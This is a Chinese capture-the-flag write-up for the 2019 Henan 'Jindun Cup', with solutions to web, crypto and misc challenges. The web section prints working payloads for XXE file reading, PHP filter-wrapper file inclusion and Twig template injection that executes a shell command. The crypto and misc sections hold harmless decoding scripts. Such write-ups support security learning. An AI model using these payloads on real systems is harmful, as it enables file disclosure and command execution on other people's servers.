2019河南省“金盾杯” wp

WEB

初级程序员

抓包,xxe读文件,payload

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY file SYSTEM "file:///flag">
]>
<code><username>&file;</username></code>

中国航母

文件包含,读源码,payload

1
?page=php://filter/read=convert.base64-encode/resource=flag.php

waimai2

扫路径有个.DS_Store,下载源码发现有个waimai路径,访问后是个登录框,任意账号都能登录,扫描路径发现这是twig模板,尝试在用户名处进行twig模板注入,getshell后得到flag,payload

username={\{ _self.env.registerUndefinedFilterCallback("exec")}\}{\{_self.env.getFilter("cat /home/flag.txt")}\}&password=123456&submit=Login

主题又开始报错了。。。自动忽略反斜线

CRYPTO

20191113-apple

题目:

TkVLTFccSx1RAwFWDVcFDg0NAwIIWAZccyRzcydzIHUuKHxyLjA=

base64解码后逐位递增异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import base64 

s ='TkVLTFccSx1RAwFWDVcFDg0NAwIIWAZccyRzcydzIHUuKHxyLjA='
s = base64.b64decode(s)

for i in range(256):
k = ''
n = 0
for j in s:
res = j ^ (n+i)
k += chr(res)
n += 1
if 'flag' in k:
print(k)

bj-密文

题目:

45 45 45 45 45 32 45 46 46 45 32 45 45 46 46 46 32 46 46 46 45 45 32 45 45 46 46 46 32 45 45 45 45 46 32 45 46 46 46 46 32 46 32 45 45 46 46 46 32 46 46 46 46 45 32 45 45 46 46 46 32 45 46 46 46 32 45 46 46 46 46 32 46 45 32 46 46 46 46 45 32 45 45 45 46 46 32 46 46 46 46 45 32 45 45 45 46 46 32 46 46 46 45 45 32 46 46 46 45 45 32 45 46 46 46 46 32 45 46 46 46 32 46 46 46 46 45 32 46 32 46 46 46 46 46 32 45 46 46 46 46 32 46 46 46 46 45 32 45 46 46 32 46 46 46 46 45 32 45 46 46 32 46 46 46 46 46 32 45 45 46 46 46 32 46 46 46 45 45 32 46 46 46 45 45 32 45 46 46 46 46 32 45 46 46 46 46 32 46 46 46 45 45 32 45 45 45 45 45 32 46 46 46 46 45 32 46 46 45 45 45 32 45 46 46 46 46 32 46 46 46 45 45 32 45 46 46 46 46 32 46 45 45 45 45 32 45 45 46 46 46 32 45 46 46 

转成莫斯电码:

1
2
3
4
5
6
7
8
9
10
11
c = open('a.txt', 'r').read()
c = c.split(' ')
k = ''
for i in c:
if '45' == i:
k += '-'
elif '46' == i:
k+= '.'
elif '32' == i:
k+= ' '
print(k)

解密得到16进制,16进制转ascii,再凯撒

小明的生日

题目:

0175501585710a89f5a60dc9ed2f88d7

生日1997年

直接解md5解不出,那么尝试爆破生日来比较MD5后的字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import hashlib

def md5(s):
m = hashlib.md5()
m.update(s.encode('utf-8'))
return m.hexdigest()

res = ''
birthday = '1997'

for i in range(1,13):
for j in range(1,32):
i=int(i)
j=int(j)
if i < 10:
i = '0' + str(i)
if j < 10:
j = '0' + str(j)
res = birthday + str(i) + str(j)
if '0175' in md5(res):
print(md5(res), res)

题目3

题目给了三个文件:

1.clear_info.txt:

There are so many people around me doing small job but they impress me so much.

2.crypt_info.txt有一堆乱码

3.true_crypto.txt:

U2FsdGVkX1/vU5MhjDoz+ioydw0D29dDIUULWF+MPtPTI8jSqoEdDVAAIrutPjzD
egvSVodD3x8=

做法:先将前两个文件异或得到密文:

>>> from Crypto.Util.strxor import strxor
>>> f1 = open('clear_info.txt', 'r').read()
>>> len(f1)
79
>>> f2 = open('crypt_info.txt', 'r').read()
>>> len(f2)
79
>>> strxor(bytes(f1, encoding='utf-8'), bytes(f2, encoding='utf-8'))
b'BECauSE yOU sAId 10,000 TImE OF mELaNCHOLY.ThiS TrUe IS jOYfUL pOSSIblY iS LasT'

之后将异或得到的字符串转培根解密作为秘钥,再将第三个文件密文DES解密即可

bacon(不能解出则颠倒下AB):

1
2
3
4
5
6
7
8
9
10
11
s = input('')
s = s.replace(' ', '')
print(len(s))
flag = ''
for i in s:
if ord(i)>=97:
flag += 'A'
else:
flag += 'B'

print(flag)

通过这个题应该知道:

1.两个文件字符长度相同,那么应该考虑到异或
2.一串英文中有大小写,可以考虑转AB作为培根密码处理;或可以转01作为二进制处理

MISC

20191113-key不在这里

微信扫描得到网址:

https://cn.bing.com/search?q=key%E4%B8%8D%E5%9C%A8%E8%BF%99%E9%87%8C&m=10210897103375566531005253102975053545155505050521025256555254995410298561015151985150375568&qs=n&form=QBRE&sp=-1&sc=0-38&sk=&cvid=2CE15329C18147CBA4C1CA97C8E1BB8C

发现网址有个参数m,将其后面的10进制转ascii得到flag

20191113-从娃娃抓起

题目:

0086 1562 2535 5174
bnhn s wwy vffg vffg rrhy fhnv

请将你得到的这句话转为md5提交,md5统一为32位小写。
提交格式:flag{md5}

第一个密文中文电报码:

https://dianma.51240.com/

得到人工智能

第二个密文为五笔,打出为也要从娃娃抓起

拼接进行md5加密即可

20191113-Hashcat

foremost分离出一个ole后缀文件,是一种符合文档的格式;尝试改后缀,发现是pptx格式,使用aopr把pptx密码爆出来,得到密码9919,在ppt中找到透明的flag,改下颜色即可

20191220-我吃三明治

linux下:

strings flag.jpg

发现有个字符串

MZWGCZ33GZTDCNZZG5SDIMBYGBRDEOLCGY2GIYJVHA4TONZYGA2DMM3FGMYH2

只有大写字母和数字,base32字符串解码

https://www.qqxiuzi.cn/bianma/base.php